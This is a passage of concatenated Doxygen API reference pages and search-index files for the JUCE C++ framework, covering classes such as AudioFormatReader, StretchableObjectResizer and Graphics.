href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>startSampleInFile</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numSamples</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">pure virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Subclasses must implement this method to perform the low-level read operation. </p> <p>Callers should use <a class="el" href="classAudioFormatReader.html#afe581e23098c90f1fb187fdff68d3481" title="Reads samples from the stream.">read()</a> instead of calling this directly.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">destSamples</td><td>the array of destination buffers to fill. Some of these pointers may be null </td></tr> <tr><td class="paramname">numDestChannels</td><td>the number of items in the destSamples array. This value is guaranteed not to be greater than the number of channels that this reader object contains </td></tr> <tr><td class="paramname">startOffsetInDestBuffer</td><td>the number of samples from the start of the dest data at which to begin writing </td></tr> <tr><td class="paramname">startSampleInFile</td><td>the number of samples into the source data at which to begin reading. This value is guaranteed to be &gt;= 0. </td></tr> <tr><td class="paramname">numSamples</td><td>the number of samples to read </td></tr> </table> </dd> </dl> <p>Implemented in <a class="el" href="classAudioCDReader.html#a0744cc267fb83dc86f1c56c14e7468d1">AudioCDReader</a>, <a class="el" href="classAudioSubsectionReader.html#a74503d803fbffeac827371b7f75e0749">AudioSubsectionReader</a>, and <a class="el" href="classBufferingAudioReader.html#a578f7686c957cfb442a5a385c2ebbbeb">BufferingAudioReader</a>.</p> </div> </div> <a class="anchor" id="a263fd3b6a51850da53fe57688f9ccb46"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static void AudioFormatReader::clearSamplesBeyondAvailableLength </td> <td>(</td> <td class="paramtype">int **&#160;</td> <td class="paramname"><em>destSamples</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numDestChannels</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startOffsetInDestBuffer</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>startSampleInFile</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int &amp;&#160;</td> <td class="paramname"><em>numSamples</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>fileLengthInSamples</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span><span class="mlabel">protected</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Used by <a class="el" href="classAudioFormatReader.html" title="Reads samples from an audio file stream.">AudioFormatReader</a> subclasses to clear any parts of the data blocks that lie beyond the end of their available length. </p> <p>References <a class="el" href="juce__PlatformDefs_8h.html#a1f96ab6751237979b907a54f52a7296a">jassert</a>, and <a class="el" href="juce__Memory_8h.html#a48fb9b158a3767e6573d27a8160956ea">zeromem()</a>.</p> </div> </div> <h2 class="groupheader">Member Data Documentation</h2> <a class="anchor" id="aafcd07b3ac08e83c019621cd8cd0c7c5"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">double AudioFormatReader::sampleRate</td> </tr> </table> </div><div class="memdoc"> <p>The sample-rate of the stream. </p> </div> </div> <a class="anchor" id="aa450170dd89d247be8eb1f657b8b47d5"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">unsigned int AudioFormatReader::bitsPerSample</td> </tr> </table> </div><div class="memdoc"> <p>The number of bits per sample, e.g. </p> <p>16, 24, 32. </p> </div> </div> <a class="anchor" id="af7373fd7e45ed1f026647fc8671e997f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a> AudioFormatReader::lengthInSamples</td> </tr> </table> </div><div class="memdoc"> <p>The total number of samples in the audio stream. </p> </div> </div> <a class="anchor" id="a2a7c577b4ececb03d3658fd0625c5b70"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">unsigned int AudioFormatReader::numChannels</td> </tr> </table> </div><div class="memdoc"> <p>The total number of channels in the audio stream. </p> </div> </div> <a class="anchor" id="aed5e9ba760d519f110c18053d6adba7a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool AudioFormatReader::usesFloatingPointData</td> </tr> </table> </div><div class="memdoc"> <p>Indicates whether the data is floating-point or fixed. </p> </div> </div> <a class="anchor" id="a8dfe48ed0e171928185c716811f5ecdb"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classStringPairArray.html">StringPairArray</a> AudioFormatReader::metadataValues</td> </tr> </table> </div><div class="memdoc"> <p>A set of metadata values that the reader has pulled out of the stream. </p> <p>Exactly what these values are depends on the format, so you can check out the format implementation code to see what kind of stuff they understand. </p> </div> </div> <a class="anchor" id="a81797ede6915ec762408d8ed23ec4d10"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classInputStream.html">InputStream</a>* AudioFormatReader::input</td> </tr> </table> </div><div class="memdoc"> <p>The input stream, for use by subclasses. </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__AudioFormatReader_8h.html">juce_AudioFormatReader.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['jointstyle',['jointStyle',['../classDrawableShape_1_1FillAndStrokeState.html#adf99bd7ed361ea8c43d293ef7f868d3e',1,'DrawableShape::FillAndStrokeState']]], ['jucefilter',['juceFilter',['../classPluginBusUtilities.html#a30a3ddffc73b423751fb9c5259061d12',1,'PluginBusUtilities']]], ['justification',['justification',['../classDrawableText_1_1ValueTreeWrapper.html#a568480e7695b8c4be65f179e34fc1b61',1,'DrawableText::ValueTreeWrapper']]] ]; <file_sep>var searchData= [ ['waitableevent',['WaitableEvent',['../classWaitableEvent.html',1,'']]], ['wavaudioformat',['WavAudioFormat',['../classWavAudioFormat.html',1,'']]], ['weakreference',['WeakReference',['../classWeakReference.html',1,'']]], ['weakreference_3c_20actionbroadcaster_20_3e',['WeakReference&lt; ActionBroadcaster &gt;',['../classWeakReference.html',1,'']]], ['weakreference_3c_20applicationcommandtarget_20_3e',['WeakReference&lt; ApplicationCommandTarget &gt;',['../classWeakReference.html',1,'']]], ['weakreference_3c_20component_20_3e',['WeakReference&lt; Component &gt;',['../classWeakReference.html',1,'']]], ['weakreference_3c_20interprocessconnection_20_3e',['WeakReference&lt; InterprocessConnection &gt;',['../classWeakReference.html',1,'']]], ['weakreference_3c_20lookandfeel_20_3e',['WeakReference&lt; LookAndFeel &gt;',['../classWeakReference.html',1,'']]], ['weakreference_3c_20messagelistener_20_3e',['WeakReference&lt; MessageListener &gt;',['../classWeakReference.html',1,'']]], ['webbrowsercomponent',['WebBrowserComponent',['../classWebBrowserComponent.html',1,'']]], ['whirlpool',['Whirlpool',['../classWhirlpool.html',1,'']]], ['wildcardfilefilter',['WildcardFileFilter',['../classWildcardFileFilter.html',1,'']]], ['windowsmediaaudioformat',['WindowsMediaAudioFormat',['../classWindowsMediaAudioFormat.html',1,'']]], ['windowsregistry',['WindowsRegistry',['../classWindowsRegistry.html',1,'']]], ['writehelper',['WriteHelper',['../structAudioFormatWriter_1_1WriteHelper.html',1,'AudioFormatWriter']]] ]; <file_sep>var searchData= [ ['incdecbuttonmode',['IncDecButtonMode',['../classSlider.html#a0ceaddd29269b6ec5a41f35bbb2ff74a',1,'Slider']]], ['invocationmethod',['InvocationMethod',['../structApplicationCommandTarget_1_1InvocationInfo.html#a87e99a7b4b51787a40700bce2a7acc22',1,'ApplicationCommandTarget::InvocationInfo']]], ['iodevicetype',['IODeviceType',['../classAudioProcessorGraph_1_1AudioGraphIOProcessor.html#a612fff538a6a57529626b4121934761a',1,'AudioProcessorGraph::AudioGraphIOProcessor']]] ]; <file_sep>var searchData= [ ['floattype',['FloatType',['../classPoint.html#a81e5862bbe44912a39cb87042bea7c5b',1,'Point']]], ['formaterrorhandler',['FormatErrorHandler',['../classjuce_1_1OSCReceiver.html#aa707894059a86ed64c7fdf6fe7d9e68b',1,'juce::OSCReceiver::FormatErrorHandler()'],['../classOSCReceiver.html#ac66be2f1b8cd6a248fce9165635ff103',1,'OSCReceiver::FormatErrorHandler()']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: StretchableObjectResizer Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classStretchableObjectResizer-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">StretchableObjectResizer Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>A utility class for fitting a set of objects whose sizes can vary between a minimum and maximum size, into a space. <a href="classStretchableObjectResizer.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:ad8e6c2a4601296f009139eab0564df32"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classStretchableObjectResizer.html#ad8e6c2a4601296f009139eab0564df32">StretchableObjectResizer</a> ()</td></tr> <tr class="memdesc:ad8e6c2a4601296f009139eab0564df32"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an empty object resizer. <a href="#ad8e6c2a4601296f009139eab0564df32"></a><br/></td></tr> <tr class="separator:ad8e6c2a4601296f009139eab0564df32"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a580207274ce3254eaab02f2781f13bd5"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classStretchableObjectResizer.html#a580207274ce3254eaab02f2781f13bd5">~StretchableObjectResizer</a> ()</td></tr> <tr class="memdesc:a580207274ce3254eaab02f2781f13bd5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a580207274ce3254eaab02f2781f13bd5"></a><br/></td></tr> <tr class="separator:a580207274ce3254eaab02f2781f13bd5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2f4ade92ab81712e4556770ecfb81cd0"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classStretchableObjectResizer.html#a2f4ade92ab81712e4556770ecfb81cd0">addItem</a> (double currentSize, double minSize, double maxSize, int order=0)</td></tr> <tr class="memdesc:a2f4ade92ab81712e4556770ecfb81cd0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds an item to the list. <a href="#a2f4ade92ab81712e4556770ecfb81cd0"></a><br/></td></tr> <tr class="separator:a2f4ade92ab81712e4556770ecfb81cd0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad91dce94a524b769b10c663eec6f0b4e"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classStretchableObjectResizer.html#ad91dce94a524b769b10c663eec6f0b4e">resizeToFit</a> (double targetSize)</td></tr> <tr class="memdesc:ad91dce94a524b769b10c663eec6f0b4e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Resizes all the items to fit this amount of space. <a href="#ad91dce94a524b769b10c663eec6f0b4e"></a><br/></td></tr> <tr class="separator:ad91dce94a524b769b10c663eec6f0b4e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6ae31268a50a1c715e39b28bfd82f560"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classStretchableObjectResizer.html#a6ae31268a50a1c715e39b28bfd82f560">getNumItems</a> () const noexcept</td></tr> <tr class="memdesc:a6ae31268a50a1c715e39b28bfd82f560"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the number of items that have been added. <a href="#a6ae31268a50a1c715e39b28bfd82f560"></a><br/></td></tr> <tr class="separator:a6ae31268a50a1c715e39b28bfd82f560"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aca2902b220e5ec11d050e013f2de4de9"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classStretchableObjectResizer.html#aca2902b220e5ec11d050e013f2de4de9">getItemSize</a> (int index) const noexcept</td></tr> <tr class="memdesc:aca2902b220e5ec11d050e013f2de4de9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the size of one of the items. <a href="#aca2902b220e5ec11d050e013f2de4de9"></a><br/></td></tr> <tr class="separator:aca2902b220e5ec11d050e013f2de4de9"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>A utility class for fitting a set of objects whose sizes can vary between a minimum and maximum size, into a space. </p> <p>This is a trickier algorithm than it would first seem, so I've put it in this class to allow it to be shared by various bits of code.</p> <p>To use it, create one of these objects, call <a class="el" href="classStretchableObjectResizer.html#a2f4ade92ab81712e4556770ecfb81cd0" title="Adds an item to the list.">addItem()</a> to add the list of items you need, then call <a class="el" href="classStretchableObjectResizer.html#ad91dce94a524b769b10c663eec6f0b4e" title="Resizes all the items to fit this amount of space.">resizeToFit()</a>, which will change all their sizes. You can then retrieve the new sizes with <a class="el" href="classStretchableObjectResizer.html#aca2902b220e5ec11d050e013f2de4de9" title="Returns the size of one of the items.">getItemSize()</a> and <a class="el" href="classStretchableObjectResizer.html#a6ae31268a50a1c715e39b28bfd82f560" title="Returns the number of items that have been added.">getNumItems()</a>.</p> <p>It's currently used by the <a class="el" href="classTableHeaderComponent.html" title="A component that displays a strip of column headings for a table, and allows these to be resized...">TableHeaderComponent</a> for stretching out the table headings to fill the table's width. </p> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="ad8e6c2a4601296f009139eab0564df32"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">StretchableObjectResizer::StretchableObjectResizer </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Creates an empty object resizer. </p> </div> </div> <a class="anchor" id="a580207274ce3254eaab02f2781f13bd5"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">StretchableObjectResizer::~StretchableObjectResizer </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a2f4ade92ab81712e4556770ecfb81cd0"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void StretchableObjectResizer::addItem </td> <td>(</td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>currentSize</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>minSize</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>maxSize</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>order</em> = <code>0</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Adds an item to the list. </p> <p>The order parameter lets you specify groups of items that are resized first when some space needs to be found. Those items with an order of 0 will be the first ones to be resized, and if that doesn't provide enough space to meet the requirements, the algorithm will then try resizing the items with an order of 1, then 2, and so on. </p> </div> </div> <a class="anchor" id="ad91dce94a524b769b10c663eec6f0b4e"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void StretchableObjectResizer::resizeToFit </td> <td>(</td> <td class="paramtype">double&#160;</td> <td class="paramname"><em>targetSize</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Resizes all the items to fit this amount of space. </p> <p>This will attempt to fit them in without exceeding each item's miniumum and maximum sizes. In cases where none of the items can be expanded or enlarged any further, the final size may be greater or less than the size passed in.</p> <p>After calling this method, you can retrieve the new sizes with the <a class="el" href="classStretchableObjectResizer.html#aca2902b220e5ec11d050e013f2de4de9" title="Returns the size of one of the items.">getItemSize()</a> method. </p> </div> </div> <a class="anchor" id="a6ae31268a50a1c715e39b28bfd82f560"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int StretchableObjectResizer::getNumItems </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the number of items that have been added. </p> <p>References <a class="el" href="classArray.html#ae79ec3b32d0c9a80dfff8ffbc41f8523">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::size()</a>.</p> </div> </div> <a class="anchor" id="aca2902b220e5ec11d050e013f2de4de9"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">double StretchableObjectResizer::getItemSize </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>index</em></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the size of one of the items. </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__StretchableObjectResizer_8h.html">juce_StretchableObjectResizer.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['xmldocument',['XmlDocument',['../classXmlDocument.html',1,'']]], ['xmlelement',['XmlElement',['../classXmlElement.html',1,'']]], ['xmltokeniser',['XmlTokeniser',['../classXmlTokeniser.html',1,'']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: Graphics Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> &#124; <a href="#pub-types">Public Types</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classGraphics-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">Graphics Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>A graphics context, used for drawing a component or image. <a href="classGraphics.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics_1_1ScopedSaveState.html">ScopedSaveState</a></td></tr> <tr class="memdesc:"><td class="mdescLeft">&#160;</td><td class="mdescRight">Uses RAII to save and restore the state of a graphics context. <a href="classGraphics_1_1ScopedSaveState.html#details">More...</a><br/></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-types"></a> Public Types</h2></td></tr> <tr class="memitem:a5da218e649d1b5ac3d67443ae77caf87"><td class="memItemLeft" align="right" valign="top">enum &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87">ResamplingQuality</a> { <a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87a4eb9cfa2e544befd2d50708e3316b28e">lowResamplingQuality</a> = 0, <a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87a5d8dfbf84457e91eb309b1402562f2af">mediumResamplingQuality</a> = 1, <a class="el" href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87ae3c4b3cdf28f0aefc035977522675e8e">highResamplingQuality</a> = 2 }</td></tr> <tr class="memdesc:a5da218e649d1b5ac3d67443ae77caf87"><td class="mdescLeft">&#160;</td><td class="mdescRight">Types of rendering quality that can be specified when drawing images. <a href="classGraphics.html#a5da218e649d1b5ac3d67443ae77caf87">More...</a><br/></td></tr> <tr class="separator:a5da218e649d1b5ac3d67443ae77caf87"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:ada6375a2e6bf68758a2191acb4d62c65"><td class="memItemLeft" align="right" 